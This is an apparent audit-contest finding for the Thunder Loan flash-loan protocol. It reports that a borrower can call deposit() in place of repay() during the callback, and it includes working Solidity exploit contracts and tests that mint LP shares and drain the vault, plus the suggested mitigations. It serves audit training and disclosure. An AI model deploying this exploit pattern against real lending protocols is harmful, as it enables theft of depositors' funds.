Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Flash-loan callback allows deposit() instead of repay()

Description

Normal behavior

A flash loan receiver must repay the borrowed amount plus the protocol fee by transferring tokens back to the vault. The callback should not be usable as a deposit mechanism.

Specific issue

ThunderLoan.flashloan() transfers the borrowed tokens to the receiver, then executes an external callback. After the callback it only checks that the vault balance is >= startingBalance + fee. A receiver can call deposit() during the callback, which transfers tokens back to the vault and mints AssetToken shares. This passes the balance check but leaves the attacker with redeemable LP shares, effectively obtaining a loan without paying the economic fee.

// src/protocol/ThunderLoan.sol
// Flash loan transfers tokens and executes an untrusted callback
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
uint256 fee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(fee);
@> s_currentlyFlashLoaning[token] = true;
assetToken.transferUnderlyingTo(receiverAddress, amount);
// Untrusted external call
receiverAddress.functionCall(
abi.encodeWithSignature(
"executeOperation(address,uint256,uint256,address,bytes)",
address(token),
amount,
fee,
msg.sender,
params
)
);
@> uint256 endingBalance = token.balanceOf(address(assetToken));
@> if (endingBalance < startingBalance + fee) {
@> revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
@> }
s_currentlyFlashLoaning[token] = false;
}
// deposit() has no reentrancy guard and no flash-loan check
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
@> assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount);
@> assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

Risk

Likelihood

  • The flashloan() callback is an external call to any contract, and the protocol has no restriction on what that contract does.

  • deposit() is public and has no reentrancy guard or flash-loan awareness, so it can be called from the callback by design.

Impact

  • Attacker obtains redeemable AssetToken shares while only paying the manipulated flash-loan fee.

  • The protocol loses the intended fee income and may become insolvent if the attacker redeems immediately.

Proof of Concept

The PoC deploys a malicious receiver that calls deposit() inside the flash-loan callback instead of repay(). After the flash loan succeeds, the receiver holds AssetToken shares.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { ThunderLoan } from "src/protocol/ThunderLoan.sol";
import { AssetToken } from "src/protocol/AssetToken.sol";
contract DepositInsteadOfRepayReceiver {
using SafeERC20 for IERC20;
ThunderLoan public immutable thunderLoan;
uint256 public assetTokensMinted;
constructor(address _thunderLoan) {
thunderLoan = ThunderLoan(_thunderLoan);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address,
bytes calldata
) external returns (bool) {
IERC20 underlying = IERC20(token);
underlying.forceApprove(address(thunderLoan), amount + fee);
@> thunderLoan.deposit(underlying, amount + fee); // deposit instead of repay
assetTokensMinted = thunderLoan.getAssetFromToken(underlying).balanceOf(address(this));
return true;
}
}
contract DepositInsteadOfRepayTest {
ThunderLoan thunderLoan;
IERC20 token;
address attacker = address(0x1);
function test_H2_PoC_depositInsteadOfRepay_mintsAssetTokens() public {
DepositInsteadOfRepayReceiver receiver = new DepositInsteadOfRepayReceiver(address(thunderLoan));
uint256 fee = thunderLoan.getCalculatedFee(token, 100e18);
token.mint(address(receiver), 100e18 + fee);
vm.prank(attacker);
thunderLoan.flashloan(address(receiver), token, 100e18, "");
assertGt(receiver.assetTokensMinted(), 0, "attacker received LP shares via deposit instead of repay");
}
}

Recommended Mitigation

The root cause is that deposit() and redeem() are callable while a flash loan is active. Block them when s_currentlyFlashLoaning[token] is true and add reentrancy guards.

import { ReentrancyGuardUpgradeable } from "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
contract ThunderLoan is
Initializable,
OwnableUpgradeable,
UUPSUpgradeable,
ReentrancyGuardUpgradeable,
OracleUpgradeable
{
error ThunderLoan__FlashLoanInProgress();
function initialize(address tswapAddress) external initializer {
__Ownable_init();
__UUPSUpgradeable_init();
__ReentrancyGuard_init();
__Oracle_init(tswapAddress);
s_feePrecision = 1e18;
s_flashLoanFee = 3e15;
}
function deposit(IERC20 token, uint256 amount)
external
nonReentrant
revertIfZero(amount)
revertIfNotAllowedToken(token)
{
@> if (s_currentlyFlashLoaning[token]) {
@> revert ThunderLoan__FlashLoanInProgress();
@> }
// existing deposit logic
}
function redeem(IERC20 token, uint256 amountOfAssetToken)
external
nonReentrant
revertIfZero(amountOfAssetToken)
revertIfNotAllowedToken(token)
{
@> if (s_currentlyFlashLoaning[token]) {
@> revert ThunderLoan__FlashLoanInProgress();
@> }
// existing redeem logic
}
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params)
external
nonReentrant
{
// existing flash loan logic
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!